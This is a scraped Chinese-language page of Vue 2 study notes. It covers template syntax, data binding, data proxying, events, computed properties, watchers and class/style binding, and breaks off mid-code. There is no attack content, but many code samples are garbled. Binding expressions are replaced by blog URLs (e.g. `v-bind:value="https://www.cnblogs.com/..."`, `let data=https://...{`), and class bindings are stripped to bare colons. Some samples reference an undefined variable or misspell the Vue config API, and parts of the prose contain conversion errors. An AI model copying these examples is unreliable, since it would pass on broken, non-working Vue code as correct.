主頁 > 企業開發 > Vue筆記

Vue筆記

2022-10-25 08:02:53 企業開發

一、 Vue核心

1、Vue 簡介

(1)官網

? 英文官網

? 中文官網

(2)介紹與描述

  • Vue 是一套用來動態構建用戶界面的漸進式JavaScript框架
    • 構建用戶界面:把資料通過某種辦法變成用戶界面
    • 漸進式: Vue 可以自底向上逐層的應用,簡單應用只需要一個輕量小巧的核心庫,復雜應用可以引入各式各樣的 Vue 插件
    • 作者:尤雨溪

image

(3)特點

  1. 采用組件化模式,提高代碼復用率、且讓代碼更好維護

image

2.宣告式編碼,讓編碼人員無需之間操作DOM,提高開發效率

image

3.使用虛擬DOM+優秀的Diff演算法,盡量復用DOM節點

image

image

(4)與其他 JS 框架的關聯

  • 借鑒 angular 的 模板 和 資料系結 技術
  • 借鑒 react 的 組件化 和 虛擬DOM 技術

(5) Vue 周邊庫

  • vue-cli:vue 腳手架
  • vue-resource(axios):ajax 請求
  • vue-router:路由
  • vuex:狀態管理(它是 vue 的插件但是沒有用 vue-xxx 的命名規則)
  • vue-lazyload:圖片懶加載
  • vue-scroller:頁面滑動相關
  • mint-ui:基于 vue 的 UI 組件庫(移動端)
  • element-ui:基于 vue 的 UI 組件庫(PC 端)

2、初識 Vue

(1)前置作業

  1. 給瀏覽器安裝[Vue Devtools](安裝 — Vue.js (vuejs.org))
  2. 標簽引入 Vue
  3. (可選)阻止 vue 在啟動時生成生產提示Vue.config.productionTip = false;
  4. favicon 需要將頁簽圖示放在專案根路徑,重新打開就有了(shfit+F5 強制重繪)

(2)初識Vue:

  1. 想讓 Vue 作業,就必須創建一個 Vue實體 ,且要傳入一個配置物件
  2. root 容器里的代碼依然符合 html規范 ,只不過混入了一些特殊的 Vue語法
  3. root 容器里的代碼被稱為 Vue模板
  4. Vue 實體與容器是一一對應的
  5. 真實開發中只有一個 Vue實體 ,并且會配合著組件一起使用
  6. {{xxx}} 中的 xxx 要寫 js 運算式,且 xxx 可以自動讀取到 data 中的所有屬性

? 注意區分:js 運算式 和 js代碼(陳述句)

? a. 運算式:一個運算式會產生一個值,可以放在任何一個需要值的地方

? ①a

? ② a+b

? ③demo(1)

? ④x === y ? 'a' : 'b'

? b. js代碼(陳述句)

? ①if(){}

? ② for(){}

? 7.. 一旦 data 中的資料發生變化,那么模板中用到該資料的地方也會自動更新

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue.js -->
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
  <!-- 初識Vue:
    1. 想讓 Vue 作業,就必須創建一個 Vue實體 ,且要傳入一個配置物件
    2. root 容器里的代碼依然符合 html規范 ,只不過混入了一些特殊的 Vue語法 
    3. root 容器里的代碼被稱為 Vue模板 -->


    <!-- 準備好一個容器 -->
    <div id="root">
      <h1>Hello,{{name.toUpperCase()}},{{address}}}</h1>
    </div>


    <script type="text/javascript">
      Vue.config.productionTip = false; // 阻止啟動vue在啟動時生成生產提示

      // 創建一個Vue實體
       new Vue({
        el:'#root' ,//el用于指定當前Vue實體為哪個容器服務,值通常為css選擇器字串
        data:{//data用于指儲存資料,資料供el所指定的容器使用,值我們暫時先寫成一個物件
          name:'DFshmily',
          address:'China'
        }  
      })
    
    
    </script>
</body>
</html>

3、模板語法

Vue 模板語法包括兩大類

  1. 插值語法 (雙大括號運算式)

    功能:用于決議標簽體內容 寫法: {{xxx}} ,xxx 是 js 運算式,可以直接讀取到 data 中的所有區域

  2. 指令語法 (以v-開頭)

    功能:用于決議標簽(包括:標簽屬性、標簽體內容、系結事件…)

    舉例: 或簡寫為 ,xxx 同樣要寫 js 運算式,可以直接讀取到 data 中的所有屬性

    備注: Vue 中有很多的指令,且形式都是 v-xxx ,此處只是拿 v-bind 舉例

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>模板語法</title>
         <!-- 引入Vue.js -->
         <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
    </head>
    <body>
         <!-- 準備好一個容器 -->
         <div id="root">
            <h1>模板語法</h1>
            <h3>你好,{{name}}</h3>
            <hr>
            <h1>指令語法</h1>
            <a v-bind:href="https://www.cnblogs.com/DFshmily/archive/2022/10/24/url" x="hello">點我開始學習</a><br>
            <a :href="https://www.cnblogs.com/DFshmily/archive/2022/10/24/url.toUpperCase()" x="school.hello">點我開始學習</a><br>
            <a :href="https://www.cnblogs.com/DFshmily/archive/2022/10/24/school.url" x="school.hello">點我開始{{school.name}}學習</a>
          </div>
      
    
        <script type="text/javascript">
            Vue.config.productionTip = false; // 阻止啟動vue在啟動時生成生產提示
            new Vue({
                el:'#root',
                data:{
                    name:'DFshmily',
                    url:'https://www.cnblogs.com/DFshmily',
                    school:{
                        name:'Vue',
                        url:'https://www.cnblogs.com/DFshmily/p/16799543.html',
                        hello:'你好'
                    }
                }
            })
            </script>
    </body>
    </html>
    

    image

4、資料系結

Vue 中有2種資料系結的方式

a. 單向系結 v-bind 資料只能從 data 流向頁面

b. 雙向系結 v-model 資料不僅能從 data 流向頁面,還可以從頁面流向 data

備注 :a. 雙向系結一般都應用在表單類元素上,如 <input> <select> <textearea>

? b. v-model:value 可以簡寫為 v-model ,因為 v-model 默認收集的就是 value

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>模板語法</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>

<body>
    <!-- 準備好一個容器 -->
    <div id="root">
        <!-- 普通寫法 -->
        單向資料系結:<input type="text" v-bind:value="https://www.cnblogs.com/DFshmily/archive/2022/10/24/name"><br>
        雙向資料系結:<input type="text" v-model:value="https://www.cnblogs.com/DFshmily/archive/2022/10/24/name"><br>

        <!-- 簡寫 -->
        單向資料系結:<input type="text" :value="https://www.cnblogs.com/DFshmily/archive/2022/10/24/name"><br>
        雙向資料系結:<input type="text" v-model="name"><br>

        <!-- 如下代碼是錯誤的,因為v-model只能應用在表單元素(輸入類元素)上 -->
        <h2 v-model:x="name">你好!</h2>
     </div>


        <script type="text/javascript">
            Vue.config.productionTip = false; // 阻止啟動vue在啟動時生成生產提示

            // 創建一個Vue實體
            new Vue({
                el:'#root' ,
                data:{
                    name:'DFshmily',
                
                }  
            })
        </script>
</body>
</html>

image

5、el與data的兩種寫法

el 與 data 的兩種寫法:

1)el 有2種寫法

? a. 創建 Vue 實體物件的時候配置 el 屬性

? b. 先創建 Vue 實體,隨后再通過 vm.$mount('#root') 指定 el 的值

(2)data 有2種寫法 :

? a. 物件式: data: { }

? b. 函式式: data() { return { } }

? 如何選擇:目前哪種寫法都可以,以后到組件時, data 必須使用函式,否則會報錯 一個重要的原則

由 Vue 管理的函式,一定不要寫箭頭函式,否則 this 就不再是 Vue實體 了
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>模板語法</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <!-- 準備好一個容器 -->
    <div id="root">
        <h1>你好,{{name}}</h1>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false; // 阻止啟動vue在啟動時生成生產提示

        // el的兩種寫法
        new Vue({
            //el:'#root' ,  //第一種寫法
            data:{
                name:'DFshmily',
            
            }  
        })

        console.log(v)
       v.$mount('#root') //第二種寫法
       //設定時間的例子
       setTimeout(()=>{
           v.$mount('#root')
       },1000)

       
       //data的兩種寫法
       new Vue({
        el:'#root',
        //data的第一種寫法:物件式
        // data:{
        //     name:'DFshmily',
        
        // }

        //data的第二種寫法:函式式
        data(){//等同于data:function(){}
            console.log('@@@',this) //此處的this是Vue實體物件
            return{
                name:'DFshmily',
            }
        }
       })

    </script>
</body>

6、MVVM模型

  1. M:模型(Model):對應data中的資料
  2. V:視圖(View):模板代碼
  3. VM:試圖模板(ViewModel):Vue實體物件

image

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>理解MVVM</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <!-- 準備好一個容器 -->
    <div id="root">
        <h1>學校名稱:{{name}}</h1>
        <h1>學校地址:{{address}}</h1>
        <h1>測驗一下1:{{1+1}}</h1>
        <h1>測驗一下2:{{$options}}</h1>
        <h1>測驗一下3:{{$emit}}</h1>
        <h1>測驗一下4:{{_c}}</h1>
    </div>
</body>
<!--    
    MVM模型:
        1. M:Model,模型,資料
        2. V:視圖(View):模板代碼
        3. VM:ViewModel,視圖模型,Vue實體
        觀察發現:
            1.data中所有的屬性,最后都出現在了vm身上
            2.vm身上所有的屬性及Vue原型上所有屬性,在Vue模板中都可以直接使用 
-->

<script type="text/javascript">
    Vue.config.productionTip = false; // 阻止啟動vue在啟動時生成生產提示

    // 創建一個Vue實體
    const vm = new Vue({
        el:'#root' ,
        data:{
            name:'DFshmily',
            address:'China'
        }  
    })
    console.log(vm);
</script>
</html>

效果:

image

7、資料代理

Object.defineProperty方法

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>1.回顧Object.defineProperty方法</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
<script type="text/javascript">
    let number = 18
    let person = {
        name:'DFshmily',
        sex:'男',
        //age:18
    }
    Object.defineProperty(person,'age',{
        // value:18,
        // enumerable:true, //控制屬性是否可以列舉,默認值是false
        // writable:true, //控制屬性是否可以修改,默認值是false
        // configurable:true //控制屬性是否可以洗掉,默認值是false
        
        //當有人讀取person的age屬性時,get函式就會被呼叫,且回傳值就是age的值
        get(){
            console.log('get函式被呼叫了')
            return number
        },

        //當有人修改person的age屬性時,set函式就會被呼叫,且傳入的引數就是修改后的值
        set(newValue){
            console.log('有人修改了age屬性,且修改后的值是'+newValue)
            number = newValue
        }
    })

    //console.log(Object.keys(person))
    console.log(person)
</script>
</body>
</html>

資料代理:通過一個物件代理對另一個物件中屬性的操作(讀/寫)

 <!-- 資料代理:通過一個物件代理對另一個物件中屬性的操作(讀/寫) -->
    <script type="text/javascript">
        let obj = {x:100}
        let obj2 = {y:200}

        Object.defineProperty(obj2,'x',{
            get(){
                return obj.x
            },
            set(newValue){
                obj.x = newValue
            }
        })
    </script>

1.Vue 中的資料代理通過 vm 物件來代理 data 物件中屬性的操作(讀/寫)

  1. Vue 中資料代理的好處:更加方便的操作 data 中的資料

  2. 基本原理

? a. 通過 object.defineProperty() 把 data 物件中所有屬性添加到 vm 上

  b. 為每一個添加到 vm 上的屬性,都指定一個 getter setter

  c. 在 getter setter 內部去操作(讀/寫) data 中對應的屬

image

Vue 將 data 中的資料拷貝了一份到 _data 屬性中,又將 _data 里面的屬性提到 Vue實體 中(如name),通過 defineProperty 實作資料代理, 這樣通過 geter/setter 操作 name,進而操作 _data 中的 name,而 _data 又對 data 進行資料劫持,實作回應式

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>1.回顧Object.defineProperty方法</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <!-- 1.Vue 中的資料代理通過 vm 物件來代理 data 物件中屬性的操作(讀/寫)
    2. Vue 中資料代理的好處:更加方便的操作 data 中的資料
    3. 基本原理
        a. 通過 object.defineProperty() 把 data 物件中所有屬性添加到 vm 上
        b. 為每一個添加到 vm 上的屬性,都指定一個 getter setter
        c. 在 getter setter 內部去操作(讀/寫) data 中對應的屬 -->
<div id="root">
    <h2>學校名稱:{{name}}</h2>
    <h2>學校地址:{{address}}</h2>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false  //阻止啟動生產訊息,常用作指令

    let data=https://www.cnblogs.com/DFshmily/archive/2022/10/24/{
        name:'DFshmily',
         address:'China'
    }
    const vm = new Vue({
        el:'#root',
        data
    })

</script>
</body>
</html>

8、事件處理

(1)事件的基本使用:

? 1.使用v-on:xxx或@xxx系結事件,其中xxx是事件名

? 2.事件的回呼需要配置在methods中,最侄訓在vm上

? 3.methods中配置的函式,不要用箭頭函式!否則this就不是vm了

? 4.methods中配置的函式,都是被Vue所管理的函式,this的指向是vm或組件實體物件

? 5.@click='Demo'和@click="demo($event)"效果一致,但后者可以傳參

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>事件的基本使用</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>

    <!-- 事件的基本使用:
            1.使用v-on:xxx或@xxx綁定事件,其中xxx是事件名
            2.事件的回呼需要配置在methods中,最侄訓在vm上
            3.methods中配置的函式,不要用箭頭函式!否則this就不是vm了
            4.methods中配置的函式,都是被Vue所管理的函式,this的指向是vm或組件實體物件
            5.@click='Demo'和@click="demo($event)"效果一致,但后者可以傳參 -->
    
    <div id="root">
        <h2>歡迎來到{{name}}學習</h2>
        <!-- <button v-on:click="showInfo">點我提示資訊</button> -->
        <button @click="showInfo1">點我提示資訊1(不傳參)</button>
        <button @click="showInfo2($event,666)">點我提示資訊2(傳參)</button>

    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false  //阻止啟動生產訊息,常用作指令
      const vm =  new Vue({
            el:'#root',
            data:{
                name:'DFshmily'
            },
            methods:{
                showInfo1(event){
                    alert('你好!')
                    //console.log(event.target.innerText)
                   // console.log(this)
                },
                showInfo2(event,number){
                    console.log(event,number)
                    alert('你好2!')
                }
            }
        })
        </script>
</body>
</html>

(2)事件修飾符

? Vue 中的事件修飾符

  1. prevent 阻止默認事件(常用)
  2. stop 阻止事件冒泡(常用)
  3. once 事件只觸發一次(常用)
  4. capture 使用事件的捕獲模式
  5. self 只有 event.target 是當前操作的元素時才觸發事件
  6. passive 事件的默認行為立即執行,無需等待事件回呼執行完畢

修飾符可以連續寫,比如可以這么用: @click.prevent.stop="showInfo"

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>事件修飾符</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>

     <style>
        *{
            margin-top:20px;
        }
        .demo1{
            height: 50px;
            background-color: pink;
        }
        .box1{
            padding: 5px;
            background-color: yellow;
        }
        .box2{
            padding: 5px;
            background-color: green;
        }
        .list{
            width: 200px;
            height: 200px;
            background-color: pink;
            overflow: auto;
        }
        li{
            height: 100px;
        }
     </style>
    </head>
<body>
    <div id="root">
        <h2>歡迎來到{{name}}學習</h2>
        <a href="https://www.cnblogs.com/DFshmily/" @click.prevent="showInfo">點我提示資訊</a>
        <!-- 阻止事件冒泡(常用) -->
        <div  @click="showInfo">
            <button @click.stop="showInfo">點我提示資訊</button>
        </div>

        <!-- 事件只觸發一次(常用) -->
        <button @click.once="showInfo">點我提示資訊</button>

        <!-- 使用事件的捕獲模式 -->
        <div  @click.capture="showMsg(1)">
            div1
            <div  @click.capture="showMsg(2)">
                div2
                </div>
        </div>

        <!-- 只有event.target是當前操作的元素時才觸發事件 -->
        <div  @click.self="showInfo">
            <button @click="showInfo">點我提示資訊</button>
        </div>

        <!-- 事件的默認行為立即執行,無需等待事件回呼執行完畢 -->
        <ul @wheel.passive="demo" >
            <li>1</li>
            <li>2</li>
            <li>3</li>
            <li>4</li>
        </ul>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false  //阻止啟動生產訊息,常用作指令
        const vm = new Vue({
            el:'#root',
            data:{
                name:'DFshmily'
            },
            methods:{
              showInfo(e){
                  //alert('你好!')
                  console.log(e.target)
              },
              showMsg(msg){
                    console.log(msg)
              },
              demo(){
                for(let i=0;i<10000;i++){
                    console.log('#')
                }
                console.log("滾動事件")
              }
            }
        })
        </script>
</body>
</html>
 

(3)鍵盤事件

鍵盤上的每個按鍵都有自己的名稱和編碼,例如:Enter(13),而 Vue 還對一些常用按鍵起了別名方便使用

  1. Vue 中常用的按鍵別名

? 回車 enter

? 洗掉 delete(捕獲“洗掉”和“退格”鍵 )

? 退出 esc

? 空格 space

? 換行tab特殊,必須配合keydown去使用

? 上 up

? 下 down

? 左 left

   右 	`right`
  1. . Vue 未提供別名的按鍵,可以使用按鍵原始的 key 值去系結,但注意要轉為 kebab-case (多單詞小寫短橫線寫法)

  2. . 系統修飾鍵(用法特殊) ctrl alt shift metameta 就是 win 鍵)

    a.. 配合keyup使用:按下修飾鍵的同時,再按下其他鍵,隨后釋放其他鍵,事件才被觸發

? 指定ctr+y使用@keyup.ctr.y

? b.. 配合 keydown 使用:正常觸發事件

  1. 也可以使用 keyCode 去指定具體的按鍵(不推薦)
  2. Vue.config.keyCodes.自定義鍵名 = 鍵碼,可以去定制按鍵別名
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>鍵盤事件</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h2>歡迎來到{{name}}學習</h2>
        <input type="text" placeholder="按下回車提示輸入" @keyup.huiche="showInfo">
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false  //阻止啟動生產訊息,常用作指令
        Vue.config.keyCode.huiche = 13 //定義了一個別名按鍵
        const vm = new Vue({
            el:'#root',
            data:{
                name:'DFshmily'
            },
            methods:{
                showInfo(e){
                    //console.log(e.key,e.KeyCode)
                    console.log(e.target.value)
                }
            }
        })
        </script>
</body>
</html>

9、計算屬性

(1)差值語法實作

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>2.姓名案例_methods實作</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <div id="root">
        姓:<input type="text" v-model="firstName"> <br/>
        名:<input type="text" v-model="lastName"> <br/>
        全名:<span>{{firstName.slice(0,3)}}-{{lastName}}</span>  <!--.slice表示截取前三位 -->
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false  //阻止啟動生產訊息,常用作指令
        const vm = new Vue({
            el:'#root',
            data:{
                firstName:'DF',
                lastName:'shmily'
            }
        })
    </script>
 </body>
</html>

(2)method實作

資料發生變化,模板就會被重新決議

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>2.姓名案例_methods實作</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <div id="root">
        姓:<input type="text" v-model="firstName"> <br/>
        名:<input type="text" v-model="lastName"> <br/>
        <!-- 全名:<span>{{firstName.slice(0,3)}}-{{lastName}}</span>  .slice表示截取前三位 -->
        全名:<span>{{fullName()}}</span>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false  //阻止啟動生產訊息,常用作指令
        const vm = new Vue({
            el:'#root',
            data:{
                firstName:'DF',
                lastName:'shmily'
            },
            methods:{
                fullName(){
                   return this.firstName+'-'+this.lastName
                }
            }
        })
    </script>
 </body>
</html>

(3)computed計算屬性

  1. 定義:要用的屬性不存在,需要通過已有屬性計算得來
  2. 原理:底層借助了 Objcet.defineproperty() 方法提供的 getter setter
  3. get 函式什么時候執行?
    1. . 初次讀取時會執行一次
    2. 當依賴的資料發生改變時會被再次呼叫
  4. 優勢:與 methods 實作相比,內部有快取機制(復用),效率更高,除錯方便
  5. 備注
    1. 計算屬性最侄訓出現在vm上,直接讀取使用即可
    2. 如果計算屬性要被修改,那必須寫set函式去回應修改,且 set 中要引起計算時依賴的資料發生改變
    3. 如果計算屬性確定不考慮修改,可以使用計算屬性的簡寫形式
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>3.計算屬性</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <div id="root">
        姓:<input type="text" v-model="firstName"> <br/>
        名:<input type="text" v-model="lastName"> <br/>
        測驗:<input type="text" v-model="x"> <br/> <!-- 這里修改 不會調 fullName的get方法 -->
        全名:<span>{{fullName}}</span><br/><br/>
        <!-- 全名:<span>{{fullName}}</span><br/><br/>
        全名:<span>{{fullName}}</span><br/><br/> -->
    <script type="text/javascript">
        Vue.config.productionTip = false //阻止啟動生產訊息,常用作指令
        const vm = new Vue({
            el:'#root',
            data:{
                firstName:'DF',
                lastName:'shmily',
                x:'你好!'
            },
            computed: {
                    //完整寫法
                    // fullName: {
                    // get() {
                    // console.log('get被呼叫了')
                    // return this.firstName + '-' + this.lastName
                    // },
                    // set(value) {
                    // console.log('set', value)
                    // const arr = value.split('-')
                    // this.firstName = arr[0]
                    // this.lastName = arr[1]
                    // }
                    // }
            // 簡寫
            fullName() {
                console.log('get被呼叫了')
                return this.firstName + '-' + this.lastName
                }
            }

        })
    </script>
</body>
</html>

10、偵聽屬性

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>1.天氣案例</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h2>今天天氣很{{info}}</h2>
        <button @click="changeWeather">切換天氣</button>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false

        const vm = new Vue({
            el:'#root',
            data:{
                isHot: true
            },
            computed:{
                info(){
                    return this.isHot ? '炎熱' : '涼爽'
                }
            },
            methods: {
                changeWeather(){
                    this.isHot = !this.isHot
                }
            },
        })
    </script>
</body>
</html>

image

(1)偵聽屬性基本用法

watch監視屬性

  1. 當被監視的屬性變化時,回呼函式自動呼叫,進行相關操作
  2. 監視的屬性必須存在,才能進行監視,既可以監視 data ,也可以監視計算屬性
  3. 配置項屬性 immediate:false ,改為 true,則初始化時呼叫一次 handler(newValue,oldValue)
  4. 監視有兩種寫法
    1. 創建 Vue 時傳入 watch: {} 配置
    2. 通過 vm.$watch() 監視
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>2.天氣案例_監視屬性</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h2>今天天氣很{{info}}</h2>
        <button @click="changeWeather">切換天氣</button>
    </div>

    <script type="text/javascript">
       Vue.config.productionTip = false

       const vm = new Vue({
        el:'#root',
        data:{
            isHot:true
        },
        computed:{
            info(){
                    return this.isHot ? '炎熱' : '涼爽'
                }
        },
        methods: {
            changeWeather(){
                    this.isHot = !this.isHot
                }
        },
    //    watch:{
    //     isHot:{
    //         immediate:true, //初始化時讓handler呼叫一下
    //         //handler在isHot發生改變時被呼叫
    //         handler(newValue,oldValue){
    //             console.log('isHot被修改了',newValue,oldValue)
    //         }
    //     }
    //    }
       })
       vm.$watch('isHot',{
        immediate:true, //初始化時讓handler呼叫一下
            //handler在isHot發生改變時被呼叫
            handler(newValue,oldValue){
                console.log('isHot被修改了',newValue,oldValue)
            }
       })
    </script>
</body>
</html>

(2)深度監聽

  1. Vue 中的 watch 默認不監測物件內部值的改變(一層)

  2. watch 中配置 deep:true 可以監測物件內部值的改變(多層)

注意

  1. Vue 自身可以監測物件內部值的改變,但 Vue 提供的 watch 默認不可以
  2. 使用 watch 時根據監視資料的具體結構,決定是否采用深度監視
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>3.天氣案例_深度監聽</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h2>今天天氣很{{info}}</h2>
        <button @click="changeWeather">切換天氣</button>
        <hr/>
        <h3>a的值是:{{numbers.a}}</h3>
        <button @click="numbers.a++">點我a加1</button>
        <h3>b的值是:{{numbers.b}}</h3>
        <button @click="numbers.b++">點我b加1</button>
        <button @click="numbers = {a:666,b:888}">徹底替換掉numbers</button>
        <!-- {{numbers.c.d.e}} -->
    </div>

    <script type="text/javascript">
       Vue.config.productionTip = false

       const vm = new Vue({
        el:'#root',
        data:{
            isHot:true,
            numbers:{
                a:1,
                b:1,
                c:{
                 d:{
                    e:100
                 }
                }
            }
        },
        computed:{
            info(){
                    return this.isHot ? '炎熱' : '涼爽'
                }
        },
        methods: {
            changeWeather(){
                    this.isHot = !this.isHot
                }
        },
       watch:{
          //    'numbers.a':{
        //     handler(){
        //         console.log('a被改變了')
        //     }
        //    },
        //    'numbers.b':{
        //     handler(){
        //         console.log('b被改變了')
        //     }
        //    }
        numbers:{
            deep:true,
            handler(){
                console.log('numbers被改變了')
            }
        }
       
       }
    
       })
      
    </script>
</body>
</html>

image

(3)偵聽屬性簡寫

如果監視屬性除了 handler 沒有其他配置項的話,可以進行簡寫

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>4.天氣案例_深度監聽(簡寫)</title>
     <!-- 引入Vue.js -->
     <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h3>今天天氣很{{ info }}</h3>
        <button @click="changeWeather">切換天氣</button>
       </div>

       <script type="text/javascript">
        Vue.config.productionTip = false
        const vm = new Vue({
        el: '#root',
        data: {isHot: true,},
        computed: {info() {return this.isHot ? '炎熱' : '涼爽'}},
        methods: {changeWeather() {this.isHot = !this.isHot}},
        watch: {
            // 正常寫法
            // isHot: {
            //  immediate:true, //初始化時讓handler呼叫一下
            //  deep:true, //深度監視
            // handler(newValue, oldValue) {
             // console.log('isHot被修改了', newValue, oldValue)
            // }
            // },
            //簡寫
        isHot(newValue, oldValue) {
            console.log('isHot被修改了', newValue, oldValue, this)
        }
        }
        })
        //正常寫法
            // vm.$watch('isHot', {
            // immediate: true, //初始化時讓handler呼叫一下
            // deep: true,//深度監視
            // handler(newValue, oldValue) {
            // console.log('isHot被修改了', newValue, oldValue)
            // }
            // })l
        //簡寫
        // vm.$watch('isHot', (newValue, oldValue) => {
        // console.log('isHot被修改了', newValue, oldValue, this)
        // })

       </script>
</body>
</html>

(4)計算屬性VS偵聽屬性

computedwatch之間的區別

  • computed 能完成的功能, watch 都可以完成

  • watch 能完成的功能, computed 不一定能完成,例如 watch 可以進行異步操作

    兩個重要的小原則

  • 所有被 Vue 管理的函式,最好寫成普通函式,這樣 this 的指向才是 vm 或 組件實體物件

  • 所有不被 Vue 所管理的函式(定時器的回呼函式、ajax 的回呼函式等、Promise 的回呼函式),最好寫成箭頭函式,這樣 this 的指向才是 vm 或 組件實體物件

使用計算屬性

 const vm = new Vue({
            el:'#root',
            data:{
                firstName:'DF',
                lastName:'shmily',
			},
			  computed: {
					fullName() {
               			 console.log('get被呼叫了')
                		return this.firstName + '-' + this.lastName
                }
            }
})

使用監聽屬性

  new Vue({
 	el:'#root',
 	data:{
 		firstName:'張',
 		lastName:'三',
 		fullName:'張-三'
 	},
 	watch:{
		 firstName(val){
 		setTimeout(()=>{
 		this.fullName = val + '-' + this.lastName
 		},1000);
	 },
 	lastName(val){
 		this.fullName = this.firstName + '-' + val
 	}
 	}
})


11、系結樣式

class 樣式

  • 寫法: : ,xxx 可以是字串、陣列、物件
  • :style="[a,b]" 其中a、b是樣式物件
  • :style="{fontSize: xxx}" 其中 xxx 是動態值
    • 字串寫法適用于:類名不確定,要動態獲取
    • 陣列寫法適用于:要系結多個樣式,個數不確定,名字也不確定
    • 物件寫法適用于:要系結多個樣式,個數確定,名字也確定,但不確定用不用
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>系結樣式</title>
    <script type="text/javascript" src="https://www.cnblogs.com/DFshmily/archive/2022/10/js/vue.js"></script>
    <style>
        .basic {
            width: 300px;
            height: 50px;
            border: 1px solid black;
        }

        .happy {
            border: 3px solid red;
            background-color: rgba(255, 255, 0, 0.644);
            background: linear-gradient(30deg, yellow, pink, orange, yellow);
        }

        .sad {
            border: 4px dashed rgb(2, 197, 2);
            background-color: skyblue;
        }

        .normal {
            background-color: #bfa;
        }

        .dfshmily1 {
            background-color: yellowgreen;
        }

        .dfshmily2 {
            font-size: 20px;
            text-shadow: 2px 2px 10px red;
        }

        .dfshmily3 {
            border-radius: 20px;
        }
    </style>
</head>

<body>
    <div id="root">
        <!-- 系結class樣式--字串寫法,適用于:樣式的類名不確定,需要動態指定 -->
        <div  : @click="changeMood">{{name}}</div><br /><br />

        <!-- 系結class樣式--陣列寫法,適用于:要系結的樣式個數不確定、名字也不確定 -->
        <div  :>{{name}}</div><br /><br />

        <!-- 系結class樣式--物件寫法,適用于:要系結的樣式個數確定、名字也確定,但要動態決定用不用 -->
        <div  :>{{name}}</div><br /><br />

        <!-- 系結style樣式--物件寫法 -->
        <div  :style="styleObj">{{name}}</div><br /><br />

        <!-- 系結style樣式--陣列寫法 -->
        <div  :style="styleArr">{{name}}</div>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false

        const vm = new Vue({
            el: '#root',
            data: {
                name: 'DFshmily',
                mood: 'normal',
                classArr: ['dfshmily1', 'dfshmily2', 'dfshmily3'],
                classObj: {
                    dfshmily1: false,
                    dfshmily2: false,
                },
                styleObj: {
                    fontSize: '40px',
                    color: 'red',
                },
                styleObj2: {
                    backgroundColor: 'orange'
                },
                styleArr: [
                    {
